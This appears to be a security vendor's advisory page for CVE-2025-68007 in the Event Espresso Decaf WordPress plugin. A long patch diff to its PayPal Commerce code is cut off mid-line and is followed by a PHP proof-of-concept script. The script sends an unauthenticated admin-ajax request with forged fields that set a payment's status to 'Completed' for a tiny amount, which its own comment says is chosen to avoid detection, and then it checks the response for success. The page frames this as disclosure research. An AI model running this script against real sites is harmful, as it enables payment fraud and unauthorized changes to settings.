                 ],
             ],
         ];
+        $CNT_ISO     = $attendee->country_ID();
+
+        // No country ID set, maybe just state?
+        if (empty($CNT_ISO)) {
+            $state_obj = $attendee->state_obj();
+            if ($state_obj instanceof EE_State) {
+                $CNT_ISO = $state_obj->country_iso();
+            }
+        }
+
+        if (strlen($CNT_ISO) > 2) {
+            // uh-oh... did anyone save the country name for the ISO?
+            $country = EEM_Country::instance()->getCountryByName(ucwords(strtolower($CNT_ISO)));
+            if ($country instanceof EE_Country) {
+                $CNT_ISO = $country->ISO();
+            }
+        }
+
+        // If we have and address on the attendee, send it to PayPal.
+        if ($CNT_ISO && strlen($CNT_ISO) == 2) {
+            $parameters['payment_source']['paypal']['address'] = [
+                'address_line_1' => $attendee->address(),
+                'address_line_2' => $attendee->address2(),
+                'admin_area_2'   => $attendee->city(),
+                'admin_area_1'   => $attendee->state_abbrev(),
+                'postal_code'    => $attendee->zip(),
+                'country_code'   => $attendee->country_ID(),
+            ];
+        }
+
         // Do we have the permissions for the fees ?
         $scopes = PayPalExtraMetaManager::getPmOption(
             $this->transaction->payment_method(),
@@ -180,7 +233,8 @@
                     && $this->feature->allowed(FeatureFlag::USE_PAYMENT_PROCESSOR_FEES)
                 )
             )
-            && ! empty($scopes) && in_array('partnerfee', $scopes)
+            && ! empty($scopes)
+            && in_array('partnerfee', $scopes)
         ) {
             /** @var PartnerPaymentFees $payment_fees */
             $payment_fees = LoaderFactory::getShared(PartnerPaymentFees::class);
@@ -192,7 +246,7 @@
                             'currency_code' => $this->currency_code,
                         ],
                     ],
-                ]
+                ],
             ];
         }
         return $parameters;
@@ -217,12 +271,23 @@
                 && $line_item->OBJ_type() !== 'Promotion'
                 && $line_item->quantity() > 0
             ) {
-                $item_money     = CurrencyManager::normalizeValue($line_item->unit_price());
-                $li_description = $line_item->desc() ?? esc_html__('Event Ticket', 'event_espresso');
-                $line_items []  = [
-                    'name'        => substr(wp_strip_all_tags($line_item->name()), 0, 126),
+                $item_money    = CurrencyManager::normalizeValue($line_item->unit_price());
+                $line_items [] = [
+                    'name'        => substr(
+                        wp_strip_all_tags(
+                            $this->gateway_data_formatter->formatLineItemName($line_item, $this->payment)
+                        ),
+                        0,
+                        125
+                    ),
                     'quantity'    => $line_item->quantity(),
-                    'description' => substr(wp_strip_all_tags($li_description), 0, 125),
+                    'description' => substr(
+                        wp_strip_all_tags(
+                            $this->gateway_data_formatter->formatLineItemDesc($line_item, $this->payment)
+                        ),
+                        0,
+                        125
+                    ),
                     'unit_amount' => [
                         'currency_code' => $this->currency_code,
                         'value'         => (string) $item_money,
@@ -318,14 +383,115 @@
                     [$this->request_url, $parameters, $response],
                     $this->transaction->payment_method()
                 );
-            } catch (EE_Error | ReflectionException $e) {
+            } catch (EE_Error|ReflectionException $e) {
                 error_log("PayPalLogger Error: $message: " . json_encode($response));
             }
             return [
-                'error'   => $response['error'] ?? 'missing_order',
-                'message' => $response['message'] ?? $message,
+                'error'    => $response['error'] ?? 'missing_order',
+                'message'  => $response['message'] ?? $message,
+                'response' => $response,
             ];
         }
         return $response;
     }
+
+
+    /**
+     * Check if PayPals response contains 'MISMATCH' errors.
+     *
+     * @return bool
+     */
+    public function isMismatchError($response): bool
+    {
+        if (! isset($response['details']) || ! is_array($response['details'])) {
+            return false;
+        }
+
+        foreach ($response['details'] as $detail) {
+            if (! empty($detail['issue'])) {
+                if (
+                    strtoupper($detail['issue']) === 'ITEM_TOTAL_MISMATCH'
+                    || strtoupper($detail['issue']) === 'AMOUNT_MISMATCH'
+                ) {
+                    PayPalLogger::errorLog(
+                        esc_html__('Mistmatch Error:', 'event_espresso'),
+                        [$this->request_url, $response],
+                        $this->transaction->payment_method(),
+                        false,
+                        $this->transaction
+                    );
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+
+    /**
+     * Itemize the simplified payment breakdown list.
+     *
+     * @return array
+     */
+    protected function getSimplifiedAmountBreakdown(): array
+    {
+        $tax_total               = $this->transaction->tax_total();
+        $breakdown['item_total'] = [
+            'currency_code' => $this->currency_code,
+            'value'         => (string) CurrencyManager::normalizeValue($this->transaction->remaining() - $tax_total),
+        ];
+        if ($tax_total > 0) {
+            $breakdown['tax_total'] = [
+                'currency_code' => $this->currency_code,
+                'value'         => (string) CurrencyManager::normalizeValue($tax_total),
+            ];
+        }
+        return $breakdown;
+    }
+
+
+    /**
+     * Generate single line item for full order.
+     *
+     * @return array
+     */
+    protected function getSimplifiedItems(): array
+    {
+        // Simplified single line item.
+        $line_items           = [];
+        $primary_registrant   = $this->transaction->primary_registration();
+        $event_obj            = $primary_registrant->event_obj();
+        $name_and_description = $this->gateway_data_formatter->formatOrderDescription($this->payment);
+
+        $line_items[] = [
+            'name'        => substr(wp_strip_all_tags($name_and_description), 0, 125),
+            'quantity'    => 1,
+            'description' => substr(wp_strip_all_tags($name_and_description), 0, 2047),
+            'unit_amount' => [
+                'currency_code' => $this->currency_code,
+                'value'         => (string) CurrencyManager::normalizeValue(
+                    $this->transaction->remaining() - $this->transaction->tax_total()
+                ),
+            ],
+            'category'    => 'DIGITAL_GOODS',
+        ];
+        return $line_items;
+    }
+
+
+    /**
+     * Generates an EE_Payment object but doesn't save it.
+     */
+    private function setPaymentPlaceholder(): void
+    {
+        $this->payment = EE_Payment::new_instance(
+            [
+                'STS_ID'        => EEM_Payment::status_id_pending,
+                'TXN_ID'        => $this->transaction->ID(),
+                'PMD_ID'        => $this->transaction->payment_method_ID(),
+                'PAY_amount'    => 0.00,
+                'PAY_timestamp' => time(),
+            ]
+        );
+    }
 }
--- a/event-espresso-decaf/PaymentMethods/PayPalCommerce/api/orders/OrderDetails.php
+++ b/event-espresso-decaf/PaymentMethods/PayPalCommerce/api/orders/OrderDetails.php
@@ -91,8 +91,9 @@
                 error_log("PayPalLogger Error: $message: " . json_encode($response));
             }
             return [
-                'error'   => $response['error'] ?? 'missing_order_info',
-                'message' => $response['message'] ?? $message,
+                'error'    => $response['error'] ?? 'missing_order_info',
+                'message'  => $response['message'] ?? $message,
+                'response' => $response,
             ];
         }
         return $response;
--- a/event-espresso-decaf/PaymentMethods/PayPalCommerce/domain/Domain.php
+++ b/event-espresso-decaf/PaymentMethods/PayPalCommerce/domain/Domain.php
@@ -171,6 +171,32 @@
      */
     public const PM_SLUG = 'paypalcheckout';

+    /**
+     * Holds an array of funding options.
+     */
+    public const FUNDING_OPTIONS = [
+        'venmo',
+        'paylater',
+        'bancontact',
+        'blik',
+        'eps',
+        'giropay',
+        'ideal',
+        'mercadopago',
+        'mybank',
+        'p24',
+        'sepa',
+        'sofort',
+    ];
+
+    /**
+     * Holds an array of default/enabled funding options.
+     */
+    public const DEFAULT_FUNDING_OPTIONS = [
+        'venmo',
+        'paylater',
+    ];
+

     /**
      * Returns the base PayPal API URL.
--- a/event-espresso-decaf/PaymentMethods/PayPalCommerce/modules/EED_PayPalCommerce.module.php
+++ b/event-espresso-decaf/PaymentMethods/PayPalCommerce/modules/EED_PayPalCommerce.module.php
@@ -134,8 +134,8 @@
      * @throws ReflectionException
      */
     public static function createOrder(
-        EE_Transaction $transaction,
-        array $billing_info,
+        EE_Transaction    $transaction,
+        array             $billing_info,
         EE_Payment_Method $paypal_pm
     ): array {
         $create_order_api = EED_PayPalCommerce::getCreateOrderApi($transaction, $billing_info, $paypal_pm);
@@ -162,10 +162,12 @@
                 );
             }
             return [
-                'error'   => 'CREATE_ORDER_API_RESPONSE_ERROR',
-                'message' => $order['message'],
+                'error'    => 'CREATE_ORDER_API_RESPONSE_ERROR',
+                'message'  => EEG_PayPalCheckout::getResponseMessage($order['response'], $order['message']),
+                'response' => $order['message'],
             ];
         }
+        $transaction->save();
         return [
             'pp_order_id' => $order['id'],
         ];
@@ -235,8 +237,8 @@
      * @throws ReflectionException
      */
     public static function getCreateOrderApi(
-        EE_Transaction $transaction,
-        array $billing_info,
+        EE_Transaction    $transaction,
+        array             $billing_info,
         EE_Payment_Method $paypal_pm
     ): ?CreateOrder {
         $paypal_api = EED_PayPalCommerce::getPayPalApi($paypal_pm);
@@ -258,9 +260,9 @@
      * @throws ReflectionException
      */
     public static function getCaptureOrderApi(
-        EE_Transaction $transaction,
+        EE_Transaction    $transaction,
         EE_Payment_Method $paypal_pm,
-        string $order_id
+        string            $order_id
     ): ?CaptureOrder {
         $paypal_api = EED_PayPalCommerce::getPayPalApi($paypal_pm);
         if (! $paypal_api instanceof PayPalApi) {
@@ -281,8 +283,8 @@
      * @throws ReflectionException
      */
     public static function getOrderDetailsApi(
-        string $order_id,
-        EE_Transaction $transaction,
+        string            $order_id,
+        EE_Transaction    $transaction,
         EE_Payment_Method $paypal_pm
     ): ?OrderDetails {
         $paypal_api = EED_PayPalCommerce::getPayPalApi($paypal_pm);
@@ -392,7 +394,7 @@
     {
         $pp_meta_data = PayPalExtraMetaManager::getAllData($paypal_pm);
         return ! empty($pp_meta_data[ Domain::META_KEY_SELLER_MERCHANT_ID ])
-            && ! empty($pp_meta_data[ Domain::META_KEY_ACCESS_TOKEN ]);
+               && ! empty($pp_meta_data[ Domain::META_KEY_ACCESS_TOKEN ]);
     }


--- a/event-espresso-decaf/PaymentMethods/PayPalCommerce/modules/EED_PayPalOnboard.module.php
+++ b/event-espresso-decaf/PaymentMethods/PayPalCommerce/modules/EED_PayPalOnboard.module.php
@@ -61,13 +61,14 @@
         // Get onboarding URL.
         add_action('wp_ajax_eeaPpGetOnboardingUrl', [__CLASS__, 'getOnboardingUrl']);
         // Catch the return/redirect from PayPal onboarding page.
-        add_action('init', [__CLASS__, 'updateOnboardingStatus']);
+        add_action('admin_init', [__CLASS__, 'updateOnboardingStatus']);
         // Return the connection/onboard status.
         add_action('wp_ajax_eeaPpGetOnboardStatus', [__CLASS__, 'getOnboardStatus']);
         // Revoke access.
         add_action('wp_ajax_eeaPpOffboard', [__CLASS__, 'offboard']);
         // Clear all metadata.
         add_action('wp_ajax_eeaPpClearMetaData', [__CLASS__, 'clearMetaData']);
+        add_action('wp_ajax_eeaPpSaveDebugMode', [__CLASS__, 'eeaPpSaveDebugMode']);
         // Admin notice.
         add_action('admin_init', [__CLASS__, 'adminNotice']);
     }
@@ -298,6 +299,15 @@
         $get_params = EED_Module::getRequest()->getParams();
         // Get the payment method.
         $paypal_pm = EED_PayPalCommerce::getPaymentMethod();
+        if (! $paypal_pm instanceof EE_Payment_Method) {
+            PayPalLogger::errorLog(
+                esc_html__('Not able to validate the payment method.', 'event_espresso'),
+                $get_params,
+                $paypal_pm
+            );
+            EED_PayPalOnboard::redirectToPmSettingsHome();
+            return;
+        }
         // Check the response (GET) parameters.
         if (! EED_PayPalOnboard::onboardingStatusResponseValid($get_params, $paypal_pm)) {
             // Missing parameters. Can't proceed.
@@ -316,7 +326,7 @@
         );
         if (! isset($onboarding_status['valid']) || ! $onboarding_status['valid']) {
             PayPalLogger::errorLog(
-                $onboarding_status['message'],
+                $onboarding_status['message'] ?? esc_html__('Failed to track seller onboarding.', 'event_espresso'),
                 array_merge($get_params, $onboarding_status),
                 $paypal_pm
             );
@@ -365,7 +375,7 @@
      */
     public static function getPartnerAccessToken(EE_Payment_Method $paypal_pm): string
     {
-        // Do we have it saved ?
+        // See if it's already saved.
         $access_token = PayPalExtraMetaManager::getPmOption($paypal_pm, Domain::META_KEY_ACCESS_TOKEN);
         // If we don't have it, request/update it.
         if (! $access_token) {
@@ -395,8 +405,8 @@
         }
         // Validate the token expiration date.
         $minutes_left = round(($expires_at - time()) / 60);
-        // Count as expired if less than 60 minutes till expiration left.
-        if ($minutes_left <= 60) {
+        // Refresh if less than 2 hours till expiration left. Access tokens have a life of 15 minutes or 8 hours.
+        if ($minutes_left <= 60 * 2) {
             return true;
         }
         return false;
@@ -562,6 +572,26 @@
         wp_send_json(['success' => true]);
     }

+
+    /**
+     * Save the sandbox mode option.
+     * (AJAX)
+     *
+     * @return void
+     * @throws EE_Error
+     * @throws ReflectionException
+     */
+    public static function eeaPpSaveDebugMode(): void
+    {
+        $paypal_pm = EED_PayPalCommerce::getPaymentMethod();
+        EED_PayPalOnboard::validatePmAjax($paypal_pm);
+        // Reset the partner access token.
+        PayPalExtraMetaManager::updateDebugMode($paypal_pm, EED_Module::getRequest()->postParams());
+        // And do the data reset.
+        PayPalExtraMetaManager::deleteAllData($paypal_pm);
+        wp_send_json(['success' => true]);
+    }
+

     /**
      * Validate the PM instance, returning an ajax response on invalid.
--- a/event-espresso-decaf/PaymentMethods/PayPalCommerce/tools/extra_meta/PayPalExtraMetaManager.php
+++ b/event-espresso-decaf/PaymentMethods/PayPalCommerce/tools/extra_meta/PayPalExtraMetaManager.php
@@ -6,6 +6,7 @@
 use EE_Payment_Method;
 use EventEspressocoreservicesencryptionBase64Encoder;
 use EventEspressocoreservicesloadersLoaderFactory;
+use EventEspressocoreservicesrequestRequestInterface;
 use EventEspressoPaymentMethodsPayPalCommercedomainDomain;
 use EventEspressoPaymentMethodsPayPalCommercetoolsencryptionOpenSSLEncryption;
 use EventEspressoPaymentMethodsPayPalCommercetoolsencryptionPPCommerceEncryptionKeyManager;
@@ -37,9 +38,14 @@
      */
     public static function extraMeta(EE_Payment_Method $paypal_pm): PayPalExtraMeta
     {
+        $post_params = LoaderFactory::getLoader()->getShared(RequestInterface::class)->postParams();
         if (
             ! PayPalExtraMetaManager::$pay_pal_extra_meta instanceof PayPalExtraMeta
             || PayPalExtraMetaManager::$pay_pal_extra_meta->pm->slug() !== $paypal_pm->slug()
+            || (! empty($post_params['sandbox_mode'])
+                && in_array($post_params['sandbox_mode'], ['0', '1'], true)
+                && $paypal_pm->debug_mode() !== (bool) $post_params['sandbox_mode']
+            )
         ) {
             PayPalExtraMetaManager::$pay_pal_extra_meta = new PayPalExtraMeta($paypal_pm);
         }
--- a/event-espresso-decaf/PaymentMethods/PayPalCommerce/tools/logging/PayPalLogger.php
+++ b/event-espresso-decaf/PaymentMethods/PayPalCommerce/tools/logging/PayPalLogger.php
@@ -58,7 +58,7 @@
      * @param string                 $error_message
      * @param array                  $data
      * @param EE_Payment_Method|null $paypal_pm
-     * @param mixed             $object_logged
+     * @param mixed                  $object_logged
      * @param bool                   $popup_log
      * @return bool
      */
@@ -81,7 +81,7 @@
             }
             $paypal_gateway = $paypal_pm->type_obj()->get_gateway();
             if ($paypal_gateway instanceof EE_Gateway) {
-                $paypal_gateway->log([$default_msg => $data], $object_logged);
+                $paypal_gateway->log([$default_msg, $data], $object_logged);
             }
             if ($popup_log) {
                 PayPalLogger::logInWindow(json_encode($data));
--- a/event-espresso-decaf/admin_pages/about/About_Admin_Page_Init.core.php
+++ b/event-espresso-decaf/admin_pages/about/About_Admin_Page_Init.core.php
@@ -1,6 +1,8 @@
 <?php

+use EventEspressocoredomainentitiesadminmenuAdminMenuGroup;
 use EventEspressocoredomainentitiesadminmenuAdminMenuItem;
+use EventEspressocoredomainentitiesadminmenuAdminMenuTopLevel;

 /**
  * EE_About_Admin_Page_Init
@@ -39,14 +41,14 @@
     {
         return [
             'menu_type'               => AdminMenuItem::TYPE_MENU_SUB_ITEM,
-            'menu_group'              => 'extras',
+            'menu_group'              => AdminMenuGroup::MENU_SLUG_EXTRAS,
             'menu_order'              => 40,
             'show_on_menu'            => AdminMenuItem::DISPLAY_BLOG_AND_NETWORK,
-            'parent_slug'             => 'espresso_events',
-            'menu_slug'               => 'espresso_about',
+            'parent_slug'             => AdminMenuTopLevel::MENU_PARENT_ACTIVE,
+            'menu_slug'               => EE_ABOUT_PG_SLUG,
             'menu_label'              => EE_ABOUT_LABEL,
             'capability'              => 'manage_options',
-            'maintenance_mode_parent' => 'espresso_maintenance_settings',
+            'maintenance_mode_parent' => AdminMenuTopLevel::MENU_PARENT_MAINTENANCE,
         ];
     }
 }
--- a/event-espresso-decaf/admin_pages/events/Events_Admin_Page.core.php
+++ b/event-espresso-decaf/admin_pages/events/Events_Admin_Page.core.php
@@ -1726,7 +1726,7 @@
          */
         /** @var EEM_Datetime $datetime_model */
         $datetime_model = EE_Registry::instance()->load_model('Datetime');
-        /** @var EEM_Ticket $datetime_model */
+        /** @var EEM_Ticket $ticket_model */
         $ticket_model = EE_Registry::instance()->load_model('Ticket');
         $times        = $datetime_model->get_all_event_dates($event_id);
         /** @type EE_Datetime $first_datetime */
@@ -1754,13 +1754,11 @@
                 }
             } else {
                 $template_args['total_ticket_rows'] = 1;
-                /** @type EE_Ticket $ticket */
                 $ticket                       = $ticket_model->create_default_object();
                 $template_args['ticket_rows'] .= $this->_get_ticket_row($ticket);
             }
         } else {
             $template_args['time'] = $times[0];
-            /** @type EE_Ticket[] $tickets */
             $tickets                      = $ticket_model->get_all_default_tickets();
             $template_args['ticket_rows'] .= $this->_get_ticket_row($tickets[1]);
             // NOTE: we're just sending the first default row
@@ -2627,7 +2625,7 @@
                     $registration_config->default_STS_ID = $valid_data['default_reg_status'];
                 }
                 if (isset($valid_data['default_max_tickets'])) {
-                    $registration_config->default_maximum_number_of_tickets = $valid_data['default_max_tickets'];
+                    $registration_config->default_maximum_number_of_tickets = (int) $valid_data['default_max_tickets'];
                 }
                 do_action(
                     'AHEE__Events_Admin_Page___update_default_event_settings',
--- a/event-espresso-decaf/admin_pages/events/Events_Admin_Page_Init.core.php
+++ b/event-espresso-decaf/admin_pages/events/Events_Admin_Page_Init.core.php
@@ -1,6 +1,8 @@
 <?php

+use EventEspressocoredomainentitiesadminmenuAdminMenuGroup;
 use EventEspressocoredomainentitiesadminmenuAdminMenuItem;
+use EventEspressocoredomainentitiesadminmenuAdminMenuTopLevel;

 /**
  * Events_Admin_Page_Init
@@ -41,14 +43,14 @@
     public function getMenuProperties(): array
     {
         return [
-            'menu_type'       => AdminMenuItem::TYPE_MENU_SUB_ITEM,
-            'menu_group'      => 'main',
-            'menu_order'      => 10,
-            'show_on_menu'    => AdminMenuItem::DISPLAY_BLOG_ONLY,
-            'parent_slug'     => 'espresso_events',
-            'menu_slug'       => 'espresso_events',
-            'menu_label'      => esc_html__('Events', 'event_espresso'),
-            'capability'      => 'ee_read_events',
+            'menu_type'    => AdminMenuItem::TYPE_MENU_SUB_ITEM,
+            'menu_group'   => AdminMenuGroup::MENU_SLUG_MAIN,
+            'menu_order'   => 10,
+            'show_on_menu' => AdminMenuItem::DISPLAY_BLOG_ONLY,
+            'parent_slug'  => AdminM

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68007 - Event Espresso 4 Decaf <= 5.0.37.decaf - Missing Authorization to Unauthenticated Settings Change

<?php
/**
 * Proof of Concept for CVE-2025-68007
 * Demonstrates unauthorized payment status modification in Event Espresso plugin
 * 
 * This script sends a crafted POST request to trigger the vulnerable do_direct_payment method
 * without requiring authentication or authorization.
 */

$target_url = "https://vulnerable-site.com/wp-admin/admin-ajax.php"; // Change to target URL

// Craft the malicious AJAX request
$post_data = array(
    'action' => 'ee_payment_processor', // Required to trigger payment processing
    'method' => 'PayPalCheckout', // Target the vulnerable gateway
    'pp_order_id' => 'malicious_order_123', // PayPal order ID parameter
    'spco_transaction_id' => '999', // Transaction ID to manipulate
    'payment_amount' => '0.01', // Small amount to avoid detection
    'txn_type' => 'cart', // Transaction type
    'payment_status' => 'Completed', // Desired status to set
    'item_name' => 'Unauthorized Ticket Purchase', // Description
    'item_number' => '1', // Item number
    'mc_gross' => '0.01', // Gross amount
    'mc_currency' => 'USD', // Currency
    'receiver_email' => 'attacker@example.com', // Fake receiver email
    'payer_email' => 'victim@example.com', // Victim email
    'custom' => 'exploit_payload' // Custom field for tracking
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // For testing only
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/x-www-form-urlencoded',
    'X-Requested-With: XMLHttpRequest', // Mimic AJAX request
    'User-Agent: Atomic-Edge-PoC/1.0'
));

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check results
if ($response === false) {
    echo "cURL Error: " . curl_error($ch) . "n";
} else {
    echo "HTTP Status: $http_coden";
    echo "Response: $responsen";
    
    // Analyze response for success indicators
    if (strpos($response, 'approved') !== false || strpos($response, 'success') !== false) {
        echo "[+] Vulnerability likely exploited - Payment status modifiedn";
    } elseif (strpos($response, 'error') !== false) {
        echo "[-] Error in response - Plugin may be patchedn";
    }
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School